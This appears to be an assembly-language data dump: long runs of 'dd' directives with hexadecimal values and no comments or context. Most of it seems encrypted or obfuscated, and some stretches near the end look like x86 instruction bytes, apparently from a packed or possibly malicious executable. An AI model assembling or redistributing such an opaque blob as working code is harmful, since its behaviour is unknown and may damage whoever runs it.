		dd 6269A79Eh, 0F31B3458h, 605C13A4h, 6682B61Ah,	381E3215h
		dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 7C1F54Dh, 66247F09h
		dd 0A1113215h, 2B859F90h, 66443213h, 29FB115h, 6617661Ah
		dd 6680B61Ah, 0FBC93215h, 60716D59h, 0E3EEE1EAh, 60C51010h
		dd 44418F96h, 69463458h, 66115097h, 630DF515h, 67427F37h
		dd 6223215h, 762D8798h,	0DB053441h, 60101EB2h, 0B1A9CC3Eh
		dd 41C88F9Eh, 0AF0B3458h, 0EC8401EAh, 20E30013h, 0A796369Eh
		dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 2BA4C790h
		dd 71C03D13h, 0E5223215h, 2B3097A8h, 0E3873213h, 6644321Fh
		dd 4B4FB7D2h, 66103458h, 0DFE93215h, 4100BC67h,	70207FAFh
		dd 0D3989F24h, 60C51060h, 66B874D2h, 5B223215h,	88FFDCFBh
		dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah,	604F3215h
		dd 66443215h, 0EF26F496h, 2B3347A0h, 6E71DB13h,	0BECF3215h
		dd 4B4FB726h, 0AED03458h, 0A74A1916h, 0A77722D5h, 4B4FAF9Ch
		dd 662C3458h, 69883315h, 66447796h, 0DD1CB315h,	69AA89AEh
		dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 60C51060h
		dd 498DAF9Eh, 6DA93458h, 0ED71E29Eh, 0CF0D19D7h, 0A7427F02h
		dd 0E32130F5h, 605C1EE8h, 0A78B9F83h, 7A60769Ch, 665EDB74h
		dd 34403215h, 0F303FB26h, 60092254h, 0E22D302Eh, 6611322Dh
		dd 278CF096h, 47F5BF2Eh, 0E32D3458h, 99EECDFDh,	69A98798h
		dd 0DBC93441h, 606F32DCh, 69D1B6B9h, 66883491h,	97AD9815h
		dd 0DEDDCDEAh, 66113215h, 2B6DBF98h, 87BB3458h,	620FBF9Ch
		dd 3F4B3458h, 0AF15B943h, 0ED427F3Ah, 4BA7B91Eh, 0B7177F11h
		dd 0F70D31F5h, 55427F33h, 0CB44A4E3h, 6513D2D4h, 2BA4CF90h
		dd 65E9A413h, 0DBA16CD4h, 605C31C4h, 5F0C3D14h,	5D443215h
		dd 2B360398h, 4B953D13h, 5D883215h, 2B66F398h, 47A63D13h
		dd 5D113215h, 2B8BA798h, 73C03D13h, 0EB223215h,	32354D88h
		dd 0ED5BCD13h, 8FC1BBEDh, 8F247F1Bh, 661134A1h,	42F7AF98h
		dd 0B5BB3441h, 65F38F96h, 69113458h, 66882F91h,	0EFC10915h
		dd 69247F3Ch, 66113E91h, 7F0D0915h, 69427F3Bh, 66223790h
		dd 99A8DB15h, 0E3B3CDEAh, 600939C0h, 663AB71Ah,	0DB923215h
		dd 60C52094h, 6DC13D15h, 0EB223215h, 35C23690h,	991DDB13h
		dd 0E37FCDEAh, 606F39C0h, 9998B61Ah, 0DB0BCDEAh, 60103D08h
		dd 71A73D14h, 5D113215h, 32874E90h, 6DC13D13h, 0EB223215h
		dd 3EF79290h, 99E5DB15h, 9977CDEAh, 414B8F96h, 69113458h
		dd 668B5591h, 0EC10915h, 1324661Ah, 0F394B912h,	218E7F27h
		dd 6934B72Eh, 61573441h, 6ACCB79Eh, 5DCF3458h, 324B5E90h
		dd 0ED254713h, 2B3CD390h, 0E3B37513h, 60103D61h, 0E3A93560h
		dd 605C1628h, 1E0D0952h, 1342661Ah, 4BA7B912h, 21177F25h
		dd 69F4B72Eh, 61313441h, 6C17B79Eh, 5D563458h, 3287B290h
		dd 0ED434713h, 2B064390h, 0E32A7513h, 60DC3D91h, 0E3CF3560h
		dd 606F1414h, 0EE940952h, 138E661Ah, 7C1B912h, 21247F24h
		dd 699DB72Eh, 61FD3441h, 448DB79Eh, 5D653458h, 321EA690h
		dd 0ED8F4713h, 2B48B390h, 0E3197513h, 60453D85h, 0DB0B2260h
		dd 60091998h, 0ED254715h, 2B1C9390h, 0DB0B7513h, 6009180Ch
		dd 5D2D4615h, 32012E90h, 0ED8F4713h, 2B5FBB90h,	0DBA17513h
		dd 605C220Ch, 0E5FA4615h, 2B74EFA8h, 0F563213h,	7611B72Eh
		dd 61FD3441h, 4FADB79Eh, 5D653458h, 32012290h, 0ED8F4713h
		dd 2B521790h, 0E3197513h, 60452211h, 0E3033560h, 600903ACh
		dd 72A70952h, 13176605h, 330DB912h, 21427F09h, 763AB72Eh
		dd 61643441h, 4529B79Eh, 5D033458h, 32323A90h, 0ED164713h
		dd 2B880F90h, 0E37F7513h, 60762219h, 0E39A3560h, 60C521C4h
		dd 0BBF9B152h, 66247F25h, 641BB61Ah, 0E3B33215h, 60103D8Dh
		dd 0E3A93560h, 605C37B8h, 4A0D0952h, 13426605h,	8BA7B912h
		dd 21177F1Eh, 6914B72Eh, 61313441h, 631BB79Eh, 5D563458h
		dd 32879290h, 0ED434713h, 2B365790h, 0E32A7513h, 60DC3DB1h
		dd 0E3CF3560h, 606F1900h, 0CE940952h, 138E661Ah, 0EBF9B105h
		dd 66247F3Eh, 0E39A3560h, 60C527D8h, 0CAC10952h, 1324661Ah
		dd 8F94B912h, 218E7F04h, 69F4B72Eh, 76573441h, 4D9C8F96h
		dd 13883458h, 3FC1B912h, 21247F05h, 69A5B72Eh, 61FD3441h
		dd 4339B79Eh, 5D653458h, 321E8A90h, 0ED8F4713h,	2B6F6F90h
		dd 0E3197513h, 60453DD5h, 0DB0B2260h, 60091998h, 0ED254715h
		dd 2B348B90h, 0E3B37513h, 60103DA9h, 0DBA12260h, 605C1998h
		dd 0ED8F4715h, 2B5F3B90h, 0E3197513h, 60453DD1h, 0E3033560h
		dd 60092684h, 0AEA70952h, 1317661Ah, 5F0DB912h,	21427F01h
		dd 69EEB72Eh, 61643441h, 4909B79Eh, 5D033458h, 322DE290h
		dd 0ED164713h, 2B8DB790h, 0E37F7513h, 60763DC1h, 0E39A3560h
		dd 60C52D00h, 0BEC10952h, 1324661Ah, 0FB94B912h, 218E7F1Bh
		dd 6998B72Eh, 61573441h, 774CB79Eh, 5DCF3458h, 324BD290h
		dd 0ED254713h, 2B356F90h, 0E3B37513h, 60093D00h, 0E3A93560h
		dd 605C2D68h, 820D0952h, 1342661Ah, 0BBA7B912h,	21177F1Eh
		dd 76A8B72Eh, 7F313441h, 760A8F96h, 13113441h, 0B735B11Ch
		dd 66427F16h, 0E3A93561h, 605C1720h, 420D0952h,	13426605h
		dd 4E9FB10Ch, 66176605h, 0DB0B3B60h, 600931C4h,	0ED254615h
		dd 2B114F90h, 0E3B37513h, 60103DFDh, 0E3A93560h, 605C160Ch
		dd 8A0D0952h, 1342661Ah
		dd 9BA7B912h, 21177F32h, 6978B72Eh, 61313441h, 43F3B79Eh
		dd 5D563458h, 3287C690h, 0ED434713h, 2B08FF90h,	0E32A7513h
		dd 60DC3DEDh, 0E3CF3560h, 606F1044h, 9A940952h,	138E661Ah
		dd 0CBC1B912h, 21247F10h, 0E21ECD1Eh, 66883210h, 99BFD8FCh
		dd 37A709EAh, 69177F18h, 66883990h, 37C1BF15h, 8F2461BEh
		dd 99EEC9C6h, 48C1B72Eh, 0E34B3458h, 6622320Dh,	690C8F96h
		dd 69893441h, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh
		dd 691CB72Eh, 0E22D3441h, 66113219h, 69D4B72Eh,	0E34B3441h
		dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h
		dd 5D113215h, 32877E90h, 6DC13D13h, 0EB223215h,	3E73D690h
		dd 9DE5DB15h, 0E37FCDEAh, 60763D45h, 661AB71Ah,	0E3053215h
		dd 661C514Fh, 99D964FCh, 329409EAh, 698E661Ah, 66443990h
		dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh,	6D223215h
		dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh,	605C17B4h
		dd 6191879Ch, 58C43458h, 40A73DFCh, 0ED113215h,	988B336Bh
		dd 0A5C5EC9Eh, 66227215h, 43B08F2Eh, 0E4873458h, 6644321Dh
		dd 0E02DC92Eh, 66113210h, 9972D4FCh, 1BF9B9EAh,	0A1247F04h
		dd 2B1C5B90h, 66883213h, 0D3CD5215h, 606F350Ch,	4C71AF98h
		dd 0B5773441h, 6666B01Ah, 0FBAF3215h, 6043923Ah, 0E587E1EAh
		dd 99BBCDCBh, 613B879Eh, 0D3983458h, 60C53F7Ch,	38B0AF98h
		dd 0B5DD3446h, 43B0B79Eh, 0E3013458h, 6009350Ch, 0AFBFBF74h
		dd 99176633h, 0D715BFC6h, 9942663Ch, 6AA13DC6h,	0E5113215h
		dd 2B8F2B90h, 0B8AD3713h, 0EBDDCDEAh, 3238E888h, 695BCD13h
		dd 66443A96h, 62E0B115h, 661100FCh, 4915BF15h, 994260B5h
		dd 6DA13DC6h, 0ED113215h, 2B8F2BA0h, 61C4DB13h,	0EBA93215h
		dd 605C350Ch, 6191879Ch, 0A86F3458h, 9709EBE2h,	0F0F896E6h
		dd 0EB77CDEAh, 351B7E88h, 0EDF1CD13h, 1B9419D2h, 0EF8E7F04h
		dd 2B47DB90h, 1BA7B913h, 31177F04h, 0A705BF45h,	9942614Ah
		dd 43A7B9C4h, 36177F0Dh, 1B0DB942h, 36427F04h, 39D2BF98h
		dd 0B7EE3446h, 0AE03E29Eh, 7E61BF3Eh, 0DBA13458h, 605C3F94h
		dd 4D0C3D15h, 0ED443215h, 2B263B90h, 0E7941913h, 5D8E7F18h
		dd 71C23DD4h, 0ED223215h, 2B32DF90h, 0E70D3113h, 0EF427F18h
		dd 2B2CDB90h, 6652DB13h, 0EDD93215h, 99497AD4h,	2622321Ah
		dd 6218B79Ch, 0E3893458h, 60093F48h, 6BA3B7D2h,	66113458h
		dd 26E23215h, 6654327Dh, 66486315h, 7794A7EAh, 0F3773458h
		dd 60091B40h, 45CFB79Ch, 0E3983458h, 60C53CFCh,	8FF1CD4Ch
		dd 99247F1Bh, 2B0917A0h, 0D3776513h, 60092368h,	2A0B798h
		dd 0B6EE3446h, 6B09BF14h, 0DBCF3458h, 606F3CFCh, 7E34879Eh
		dd 0C27B3458h, 4431879Eh, 0A18F3458h, 6611CE53h, 0A6493215h
		dd 0E8363710h, 0E3211551h, 605C1804h, 6861BF9Eh, 6ECD3458h
		dd 9A64F5B8h, 66113215h, 44FD879Ch, 9EC73458h, 46A73DEAh
		dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h
		dd 624EB115h, 4431879Ch, 80CB3458h, 0A7EECDE3h,	0E38B31D5h
		dd 60091804h, 76938F96h, 69103458h, 6688AF91h, 0CC7AB315h
		dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h
		dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 2B21E3A8h, 0E21E3313h
		dd 6688322Bh, 664532ADh, 29FB115h, 6617661Ah, 6680B61Ah
		dd 0FBC93215h, 607155D6h, 5991E1EAh, 6E0C3D85h,	0E5443215h
		dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h
		dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah,	0DB923215h
		dd 60DC3D71h, 6EC03D15h, 0EB223215h, 3576A188h,	0EE5BCD13h
		dd 0E3CF3652h, 606F3CFCh, 8E92F53Eh, 0A1259911h, 6644CE53h
		dd 77CB3215h, 0EFEECDEAh, 2BAA47A0h, 662C6013h,	0C223295h
		dd 27A4CD15h, 998E7F05h, 2B65BF80h, 0EBA96813h,	605C1DDCh
		dd 668833D2h, 0A7C73215h, 0AFAFBB11h, 8F177F3Ah, 9977C705h
		dd 664296FCh, 0EBA95215h, 605C1DDCh, 0EB013B9Eh, 60103D75h
		dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h,	0E32D1C59h
		dd 66113205h, 0A00BC29Eh, 87C1B913h, 8F247F39h,	66113313h
		dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h,	890C3D38h
		dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h
		dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h,	0A1A43D4Fh
		dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h
		dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h,	6688F091h
		dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h,	445D8798h
		dd 0ACA93458h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh,	4DFBC5DAh
		dd 95E6B5ECh, 99CFF4B1h, 7FD1BF15h, 0ED247F37h,	2B37AF90h
		dd 6948B713h, 66442890h, 83A7F415h, 21177F33h, 0FC2FE07Dh
		dd 4FF1CDC1h, 0EB247F1Eh, 3664E590h, 3458CD13h,	0A6C1E2EAh
		dd 661AB71Ah, 0E39A3215h, 60C51888h, 0E34BF290h, 6622320Fh
		dd 40F4B7D3h, 0EC43458h, 0BF9E2EFCh, 6D0B87EAh,	0E39C3458h
		dd 60D847C2h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h
		dd 0E3CD3215h, 60763D75h, 0E39C6445h, 60D8A4C6h, 0A64FE2EAh
		dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h
		dd 60453D75h, 6549B945h, 0F6CF0E55h, 6622329Dh,	4C2CA79Ch
		dd 9E8D3458h, 0ED443215h, 0F3AB3E45h, 605C2204h, 42CCB94Dh
		dd 5D851931h, 2B322390h, 76933D13h, 5D883215h, 2B6E0F90h
		dd 62A13D13h, 7113215h,	78836D7h, 666036D2h, 0A1223215h
		dd 66151651h, 0DE883215h, 66443210h, 2BC7BF98h,	87EE3458h
		dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h
		dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh
		dd 7223215h, 674FB8D6h,	0E678D195h, 0E34BB2EEh,	99DDCDFAh
		dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h,	69EAC996h
		dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h,	0D087CDEAh
		dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh,	98454C95h
		dd 998FB71Ah, 6F8CDEAh,	3077CDEAh, 55136144h, 0BEA89ED5h
		dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h
		dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h
		dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah,	56C1F5D6h
		dd 60246605h, 0EC113215h, 966BB20Bh, 69C4C995h,	99DDD190h
		dd 0E39A7CEAh, 60C517B4h, 6B2DA79Eh, 0B8A93458h, 6517F196h
		dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh
		dd 42D996h, 0F58954B8h,	62D7B1BEh, 0EFAC0E9Ch, 0EF481661h
		dd 2B252BA0h, 3F4A6D13h, 624CB14Bh, 99BE52FCh, 56A7F5EAh
		dd 64176605h, 0ED883215h, 68F23DCBh, 69A2CB95h,	66113A96h
		dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh
		dd 0E3CFEB3Eh, 606F17B4h, 6B78A79Eh, 0DB0B3458h, 60092E74h
		dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh
		dd 8FEECDEAh, 6688329Bh, 7674B7D2h, 66203441h, 0B89A3215h
		dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h
		dd 91BBDB95h, 99C3B3CCh, 4D113215h, 0C70DB9CCh,	0ED427F30h
		dd 2B2F5B80h, 7ACB113h,	678E7F09h, 660CB61Ah, 0BE193215h
		dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah
		dd 8708B2A5h, 0CC85381Ah
		dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 6009350Ch, 7A43B7D2h
		dd 66103458h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h
		dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h
		dd 8F40F696h, 99DDCBD2h, 7621B7D2h, 668D3441h, 0B8CF3215h
		dd 6526F196h, 0C794B90Bh, 0ED8E7F30h, 2B495B80h, 0DBA17C13h
		dd 605C3FB8h, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h
		dd 4D0E3DCFh, 0EF443215h, 2B252BA0h, 568CB913h,	678E6605h
		dd 8F481649h, 662232CBh, 0CB94F54Ah, 678E7F18h,	3D443215h
		dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 60092E74h, 0DDA63D14h
		dd 4D113215h, 2BAD9388h, 1BC9B913h, 65247F04h, 0E5DE19DEh
		dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh,	99711CFCh
		dd 56C1F5EAh, 64246605h, 0ED113215h, 683E3DCBh,	69C4CB95h
		dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h
		dd 661132EAh, 0E303EB3Eh, 600917B4h, 6B4BA79Eh,	20F83458h
		dd 0A177CDEAh, 32540290h, 66223013h, 69CFB915h,	9F083CA3h
		dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h,	0BFB3CDFCh
		dd 66DDD394h, 0BF3A3215h, 4329B79Eh, 0F3CF3458h, 606F3F7Ch
		dd 7A708F96h, 69893458h, 99BAFB91h, 69FA09EAh, 66113A97h
		dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh,	0CC618210h
		dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h
		dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh
		dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h
		dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h
		dd 66443225h, 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh
		dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h
		dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h
		dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h
		dd 2B495B98h, 69EBB713h, 66113490h, 0F3DBB15h, 3F427F18h
		dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h
		dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h,	21953DFEh
		dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h
		dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h
		dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h,	96063053h
		dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 605C3F7Ch
		dd 387CAF98h, 0B5BB3446h, 0ED72F1ECh, 0E3982253h, 60C525BCh
		dd 7A82B14Dh, 4ADF8F98h, 65BC3458h, 0CDAC1651h,	73618F98h
		dd 658F3458h, 36351651h, 0F735BFBEh, 0CB427F33h, 4E067616h
		dd 30D26CBEh, 3845AF98h, 0B5BB3446h, 0FFFF95FCh, 4ECEDFFFh
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4166D8Ah, 2AA8ED96h
		dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
		dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h,	2A382C5Eh
		dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
		dd 0D554A851h, 0D7BA8660h, 0FECE2559h, 0F143D9F7h, 0C9FF32DCh
		dd 71BA8C46h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h
		dd 2C074AB5h, 9DF0746h,	0D552FBB2h, 5E0003C6h, 835492B8h
		dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h,	4D61BBCh
		dd 113C5250h, 0D3E26969h, 63B977DDh, 79F4B951h,	31B575DFh
		dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 3034F436h
		dd 0E9837F70h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 696417FBh
		dd 0D525FB29h, 0ADFDF53Fh, 91262E86h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 8E987C27h, 0A073AEAFh,	7CA67EFFh
		dd 83C87D7Ch, 0A4F305E9h, 0BD8DDB8Bh, 654103Ch,	2B238D8Dh
		dd 44B80654h, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0C08BFFFFh, 1BD9BD83h, 7500064Dh, 11BD8309h
		dd 64D00h, 53501974h, 11B8C08Bh, 89000004h, 4D31A585h
		dd 7C9D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh,	17740006h
		dd 11B85350h, 89000004h, 4D31A585h, 1D9D8D06h, 0FF064FB4h
		dd 8B585BD3h, 0A4F2BBC0h, 8E84672h, 72000000h, 0FD9647F7h
		dd 5F190D2Ah, 5E960h, 88240000h, 61B6C16Ah, 6DA8C781h
		dd 2DB80000h, 0BA2AB358h, 1B51h, 0DF816660h, 8B61F67Ch
		dd 77F1810Fh, 814E66BFh, 1C7D43F1h, 81C58A6Dh, 10B29C1h
		dd 6BE6645h, 0B70F89B9h, 2EF83C3h, 2840Fh, 0DE8B0000h
		dd 0DE814F4Fh, 4479F094h, 0F01EA83h, 0FFFFC685h, 0EBC68BFFh
		dd 8, 9CB87300h, 4BBE931h, 7D680000h, 0E906542Eh, 0FFF95291h
		dd 542EF468h, 5287E906h, 4268FFF9h, 0E9065430h,	0FFF9527Dh
		dd 434FF5BBh, 0E6F29863h, 8A963C06h, 2B37DDAAh,	0D0DC824Bh
		dd 0AC75DACEh, 531AFA06h, 0F5C1A1ADh, 9B63434Fh, 8552E9F5h
		dd 0FAF42A56h, 0BCFC07D4h, 0C106AC75h, 29F69C63h, 479469B8h
		dd 0AA771DE9h, 0C48CEA39h, 0EB8C5853h, 65CEB140h, 0B7D9FC59h
		dd 4E21F888h, 67D039DBh, 2E18F322h, 0D039D137h,	15A0D403h
		dd 2BF6D501h, 8F5AB885h, 17FB1CE9h, 0CD3BA72Dh,	49DA6C97h
		dd 0A01B658h, 3F000003h, 0FFD6C5F2h, 0FECA286Dh, 0DD242458h
		dd 0ED69015Fh, 0A604519Eh, 0B6E534DAh, 0D13802A9h, 0FDA370CEh
		dd 2D72DBAEh, 0B4CFB1E0h, 0C62D501h, 5BCC993Fh,	2A53A3F2h
		dd 0D8841BC1h, 9ADF8D48h, 0AFD1004Dh, 82D79C4Dh, 12E5E519h
		dd 0F7F9139Ah, 7FAA79A8h, 0EE57CD85h, 0E00F5CA9h, 0D14F55A0h
		dd 7F012891h, 0B2D14F55h, 4A25FA49h, 9428168Bh,	24EDEA37h
		dd 4F888BF5h, 0D43DA6D1h, 87F7266Bh, 0AAC738C1h, 2AF78A54h
		dd 0DD4E1B84h, 9D12F74h, 50285887h, 0A009CB02h,	0F5C2B37h
		dd 24FA0E0h, 1D4C91CBh,	0CB024F63h, 0ADFC65CEh,	0C9E1874Fh
		dd 84A95FFCh, 0CBB5D3A8h, 0F2000002h, 9A7A862Ch, 3D1D29CFh
		dd 0E1C1CD73h, 82626E14h, 50713B9h, 3FE5AEE3h, 0E68C5333h
		dd 882EFADAh, 2ED49C7Ch, 8FBE8B22h, 0D4FAF2F1h,	86F53540h
		dd 20760A39h, 52BBDB4Fh, 408F35FCh, 420F7065h, 0A1EE339Ch
		dd 82D17743h, 234FC653h, 6DB21BD1h, 94A0460Fh, 7845EBB4h
		dd 5D03CD2Bh, 0F396DF0Eh, 3800D4FAh, 6936DCA5h,	0A0778FF8h
		dd 4C92B1A3h, 2545977h,	0A3690000h, 4611F1FDh, 0EAB494A0h
		dd 8B583844h, 30F9D9E5h, 747C7E8Ah, 0A8B45A23h,	4F5B01C8h
		dd 0F1FDA36Fh, 97A34911h, 7C043300h, 0B5D4FAF2h, 0DDF86AAAh
		dd 0FE1B4A8Fh, 69D1234Eh, 3053C2Dh, 44A507BAh, 5B92C6B5h
		dd 8D60AF46h, 4C285724h, 4AD4FAB6h, 7C22EE81h, 8D53EAFh
		dd 7E4BDEAAh, 81A26FD8h, 0C531A79Dh, 0CF0BED57h, 1F7970E6h
		dd 7319E2C4h, 7DCC35A6h, 42DA0F17h, 15BACB6h, 75EA0000h
		dd 0DC3A07ADh, 5626E14h, 3DE3AFD0h, 10091309h, 0B31C8CCEh
		dd 3B8C3F6Eh, 5CC5D138h, 414608Fh, 0FE6CD502h, 238B9B46h
		dd 4130B65Bh, 6E000000h, 760A3986h, 0BBDB4F20h,	0AD280352h
		dd 551C7ABFh, 2271E2AFh, 20DDA6D5h, 0FB64D138h,	2075FF2Eh
		dd 9D0BD502h, 3D1955A7h, 0D4C8E22Dh, 28F95777h,	0A710051Ah
		dd 0E350F258h, 9D87B65Bh, 0C5000000h, 3A07AD75h, 0B38013DCh
		dd 79D7A40Dh, 0E03E0BB1h, 0B5667218h, 0DB4F25A1h, 3B47EDB5h
		dd 3075F7DEh, 15BB85E3h, 32A3D748h, 0DE46EDC6h,	0B84A79C8h
		dd 0FFD13F2Dh, 285537C3h, 4D18E405h, 69DAA7h, 0BC88DEB1h
		dd 6FD84916h
		dd 5D03CC2Ah, 2A87151h,	0B54209EAh, 0C2E0B592h,	106h, 3F4BF1B7h
		dd 0E2EE945Fh, 86923802h, 2733D9A6h, 0CCD87E47h, 0A87126CAh
		dd 4F16F602h, 0F1BD9DA9h, 975F3F4Bh, 814EE5F1h,	0FAF02E52h
		dd 0B8F803D4h, 0FA06AC75h, 0A0AC521Ah, 2A873D1h, 0AD75C435h
		dd 3A07AD75h, 0F71A0EDh, 22DB4F21h, 440C6AB9h, 7542E8B1h
		dd 328F9B04h, 5584C9A3h, 0D1386F0Ah, 0FD397EE7h, 198C6AB7h
		dd 55A2F13Eh, 0D39B2EF7h, 7B8C42Dh, 0D501B66Dh,	0CBF06129h
		dd 2D5798CAh, 62424EB7h, 826F399h, 7Ah,	5B2886BEh, 4A8B66B5h
		dd 3290DD22h, 640AD568h, 78BD2EFBh, 4F203749h, 4291FADBh
		dd 234F0213h, 0A976DFD1h, 0D1DD834Bh, 0B68329F1h, 607F9687h
		dd 1A4AB8FAh, 0C38C1FE7h, 0C8A8B41Dh, 2F8D5A00h, 0CEEFBC62h
		dd 0BF877AEAh, 652D0D19h, 69CCB4E3h, 0FC659D32h, 6734DAA6h
		dd 0A2C08DF6h, 1Ah, 295786D3h, 7D9D326Ah, 0CE3F0CB2h, 834B9A03h
		dd 0DFA90754h, 7218E339h, 0AF755B23h, 16DE3C09h, 7945A370h
		dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h
		dd 0D8A301CEh, 68E86532h, 7222h, 50242489h, 4B8h, 24440100h
		dd 0E8685804h, 89000056h, 2A68240Ch, 89000052h,	0EC812414h
		dd 4, 0BD242C89h, 65A716BAh, 0E974ED81h, 0E9895F52h, 445C685Dh
		dd 24890000h, 24048324h, 0DB685A04h, 8900002Bh,	0CE892434h
		dd 5E087289h, 5A2434FFh, 0FF04C483h, 81592434h,	4C4h, 4DEBE900h
		dd 0C21BFFF9h, 309FB3F0h, 0E18B827Dh, 316DB8BAh, 0C5030654h
		dd 0CDAFE0FFh, 0CEA71AEh, 7ACD3D9Fh, 23A3316Dh,	0A2E0004Fh
		dd 6CB52E88h, 605879B7h, 42037E0Ch, 0A1C36034h,	288A71A4h
		dd 0E97E3BC6h, 0DF2C62B7h, 0E6DB4BB7h, 30DA1622h, 80075A38h
		dd 0D43A2539h, 0EE4936A8h, 94E072CFh, 2DB1679h,	4EE41A1h
		dd 9CDF4085h, 0CCBA3905h, 82F3671h, 0ACCA4C3Fh,	8ED97438h
		dd 8CA824CCh, 4EB2377h,	1052F280h, 4F4E9h, 680ED400h, 0BB17C5Ch
		dd 0AF551FFFh, 50F6C3A3h, 0F59B6444h, 90C1E7E9h, 351521C7h
		dd 0DCBCC86Eh, 7E5E6A10h, 6D0410B6h, 0EF0F71A0h, 1722D4FAh
		dd 7AD75D7h, 6D13DC3Ah,	5B01CA28h, 0C167308Eh, 0CB1A83F4h
		dd 690FD7B7h, 0D0763E9Ch, 34DAA503h, 0C183F167h, 0A4B0561Eh
		dd 8AE77D5h, 0F645EBB2h, 1B4ACC98h, 0DB4F2065h,	0EEFA63CCh
		dd 579C420Eh, 0CF9B2EF9h, 82EB5C29h, 39005E33h,	0D1734EC8h
		dd 37A0E94Eh, 9A400C6Ah, 2A86FCDh, 34301435h, 83C1A5BEh
		dd 8BF52471h, 0A6DB4E5Bh, 0C490EE3Dh, 0AF7BD91Eh, 42AB511Ch
		dd 7962EA0Eh, 0CB1A7EF0h, 9E0FD7B7h, 0D7FD6E0h,	6A1A765Dh
		dd 15460034h, 0F090BF04h, 41DB4E8Dh, 73A26FD8h,	0DB4E8E00h
		dd 5926CC96h, 8DA3DD0Ch, 258EDB4Eh, 936006CFh, 8D691746h
		dd 5FC8DB4Eh, 9D531177h, 4AB5AF95h, 0B016D138h,	29CF9CFAh
		dd 4472DAh, 86B00000h, 69B85E28h, 0D09D430Bh, 4F20E1A1h
